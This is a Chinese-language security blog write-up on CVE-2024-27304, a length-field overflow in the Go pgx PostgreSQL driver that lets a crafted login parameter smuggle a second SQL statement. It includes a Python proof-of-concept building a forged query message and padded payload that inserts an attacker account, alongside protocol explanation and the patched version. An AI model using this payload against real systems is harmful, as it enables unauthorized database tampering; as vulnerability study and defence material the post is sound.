Skip to content
Kurisu
Go back

SQL 注入没死:pgx 协议层消息溢出走私查询(CVE-2024-27304)

“预编译了是不是就 100% 防住了 SQL 注入?“——课程开篇就用这个反问引出了 DEF CON 32 的议题《SQL Injection Isn’t Dead: Smuggling Queries at the Protocol Level》(Paul Gerste)。这篇记录其中的代表漏洞 CVE-2024-27304:Go 生态最流行的 PostgreSQL 驱动 pgx 的协议消息长度溢出,附完整靶场复现。

0x01 场景:预编译下的一切都”没戏”

靶场是个 Go + PostgreSQL 的登录应用(pgx v5.5.3,受影响版本):

// 用户名密码全部走 placeholder,传统注入语法层面无懈可击
SELECT COUNT(*) FROM users WHERE name = $1 AND password = $2

攻击者试图向 users 表恶意插一行记录(注册个”管理员”),但输入只会被当成字符串参数——教科书结论是”预编译 = 安全”。

0x02 原理:协议层的两条消息路径

PostgreSQL 前后端协议(wire protocol)里,执行一条参数化 SQL 有两种消息序列:

pgx 默认走 P+B。漏洞在于:Bind 消息的长度字段是 int32。当攻击者控制的参数长度被构造成让总长溢出((1<<32) - adjust_size 的填充),驱动的消息切分器错位——剩余的字节被当成一条全新的 Q 消息解析,攻击者走私的第二条 SQL 就这样”越狱”了:

query = b'INSERT INTO users(name, password) VALUES($$attacker$$, $$pass$$)\x00'
query_message = b'Q' + (len(query) + 4).to_bytes(4, 'big') + query

# 用名字参数携带伪造消息 + 4GB 填充顶爆长度字段
malicious = urllib.parse.quote(query_message) + 'A' * ((1<<32) - adjust_size - len(query_message))
payload = f'name={malicious}&password=abc'   # POST /login

注意两个细节:

本质依然是”混淆数据与代码”:参数本该只是数据,长度溢出让协议解析器把数据段重新解释成了命令消息。

0x03 这类漏洞的通用套路

把议题里几个案例抽象一下,协议层注入的判定问题变成:

应用向协议 A 发送”结构 + 数据”,数据里再嵌套协议 B 的消息——当两者对”边界”的判定不一致(长度字段溢出、转义不彻底、编码歧义),数据就能升格为结构。

同一议题里还有 HTTP 降级走私(CL/TE 差分)等姊妹案例。防御侧的共同答案:驱动/协议库保持最新(pgx 在 v5.5.4 修复了长度校验),应用层再多防御也管不到协议实现里的整数溢出。

0x04 复现要点

相关旧文


Share this post:

Previous Post
Java FreeMarker 模板注入:从内存模板遮蔽到积木报表 CVE-2023-4450
Next Post
CMS 与框架漏洞版图:WordPress、ThinkPHP、织梦与十年老洞的现实